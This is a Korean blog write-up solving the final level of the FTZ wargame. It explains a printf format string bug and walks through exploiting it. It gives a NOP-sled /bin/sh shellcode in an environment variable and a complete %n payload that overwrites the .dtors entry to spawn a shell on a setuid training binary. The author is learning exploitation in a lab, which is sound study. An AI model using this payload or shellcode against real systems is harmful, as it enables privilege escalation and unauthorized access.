FTZ Level 20

BrainInAVet·2021년 8월 10일
0

대망의 마지막 문제다.
hint는 다음과 같다.

fgets를 이용한 표준 입력을 받고 있다. 그러나 이번에는 길이 제한이 bleh보다 작기 때문에 버퍼 오버플로우가 일어나지 않는다.
하지만 printf를 보니 포맷 스트링 버그가 발생하는 부분이 있다.

포맷 스트링 버그에 대해 먼저 설명한다.

printf에서 변수의 값을 출력할 때는 보통 큰따옴표 안에 출력 형식을 %d, %s, %c...와 같이 지정한다. 하지만 변수 이름을 그대로 인자로 넘겨도 상관이 없는데, 이때 버그가 발생할 수 있다. 이 문제의 경우 bleh의 값에 형식 지정자가 있다면 그것이 그대로 넘어가면서 의도치 않게 다른 값들을 출력하게 된다. 이것이 바로 포맷 스트링 버그이다.

%p는 값을 16진수 8자리로 출력한다. (0x????????)
이 프로그램을 실행하고 아무런 문자열이나 입력한 다음에 앞이나 뒤에 %p를 붙이면 메모리 주소를 알 수 있을 것이다.

0x41414141은 내가 입력한 AAAA이다.
한 번 생각해 보자.

입력한 문자열이 들어갈 수 있는 곳은 bleh밖에 없다. 즉 값이 0x41414141과 같이 변했다는 것은 그곳이 bleh가 위치한 주소라는 것이 된다. 그러나 현재 내가 입력한 문자열이 위치한 곳과 bleh의 주소 사이에 12바이트의 이상한 값들이 들어가 있다. 이것들이 바로 dummy이다.

즉 스택의 구조는 다음과 같다.

포맷 스트링 공격을 해 본 적이 없어서 여러 사이트를 참고했다.

printf 함수에는 dtors라는 것이 있다고 한다. 함수가 종료되고 실행할 것을 지정해 준다고 하는데, 이걸 쉘코드 환경 변수 주소로 변조하면 될 듯 하다.

objdump로 dtors를 찾아 보았다.

싸가지가 없다.
컴파일할 때에 모종의 보안 장치를 설정했나 보다.
그렇다면 소스 코드를 다시 컴파일해서 뜯어 보자.

찾았다.
딱 봐도 __DTOR_END__가 공격 타겟이다.
주소는 0x08049598이다.

이번 문제에는 setreuid가 있으니 25바이트 쉘코드만 가지고 왔다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

적당한 양의 NOP와 함께 환경 변수 SHL에 넣어 준다.

export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

다음 프로그램으로 SHL의 주소를 찾자.

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}

5번 정도 실행하고 주소가 0xbfffff6e라는 것을 알았다.
그러나 10진수로 변환하면 3,221,225,326이고, int형 범위를 넘어간다.
포맷 스트링 공격에서는 보통 %c를 이용해 공백을 출력하여 공간을 채우기 때문에 int형의 범위를 넘어가는 경우에는 처리를 하지 못한다. 따라서 값을 나누게 된다.

공격에는 %n이라는 형식 지정자를 사용한다.
유일하게 값을 입력할 수 있는 지정자로, 이전에 입력했던 문자열의 길이를 매개변수 포인터에 쓴다.
또한 $를 사용할 수도 있는데, %p를 4번 입력하는 대신에 %4$p와 같은 식으로 입력하면 0x41414141만을 가져오는 식이다.
이걸 %4$n으로 입력하면? 지정자 앞에 입력했던 문자열의 길이만큼을 매개변수 포인터에 쓰게 될 것이다.

즉, 앞에서 bleh의 위치가 4번째였으므로 그곳에 AAAA 대신에 dtors의 주소를 입력한다면 %n으로 인해 dtors의 주소가 가리키는 값이 SHL의 주소로 바뀔 것이다.

본격적으로 공격법을 구상해 보자.

앞에서 %p를 4번 입력해 0x41414141(=%4$p)이 나오는 부분이 bleh의 시작이자 fgets로 입력을 받는 부분이다.

환경 변수의 주소가 너무 크기 때문에 반으로 나눠서 넣어야 하므로 __DTOR_END__의 주소인 0x08049598을 나눠 보자.
총 4바이트이므로 0x08049598에 2바이트를 더하면 딱 반이다.
즉 낮은 주소는 0x08049598, 높은 주소는 0x0804959a가 되겠다.

SHL의 주소 중 하위 주소는 0xff6e이며, 10진수로는 65390이다.
그러나 처음 8바이트에 소멸자 주소를 입력했으므로 8바이트만큼을 빼면 65382이다.
따라서 %65382c를 넣으면 65390만큼의 문자열 길이가 16진수로 변해(=0xff6e) 0x08049598에 들어가게 된다.
가장 먼저 bleh의 시작 부분을 바꿔야 하므로 %65382c 뒤에 %4$n을 붙인다.

SHL의 상위 주소는 0xbfff이며, 10진수로 49151이다.
그러나 0xbfff에서 0xff6e를 빼면 음수가 나오기 때문에 상위 주소의 자릿수를 1만큼 증가시켜 뺀다.
0x1bfff - 0xff6e는 0xc091이고, 10진수로 49297이다.
bleh의 첫 4바이트를 바꿨으므로 두 번째 부분을 바꿔야 하기 때문에 %49297c 뒤에 %5$n을 붙인다.

공격 명령어는 다음과 같다.

(python -c 'print ("\x98\x95\x04\x08\x9a\x95\x04\x08"+"%65382c%4$n%49297c%5$n")'; cat) | ./attackme

FTZ를 모두 클리어했다.

0개의 댓글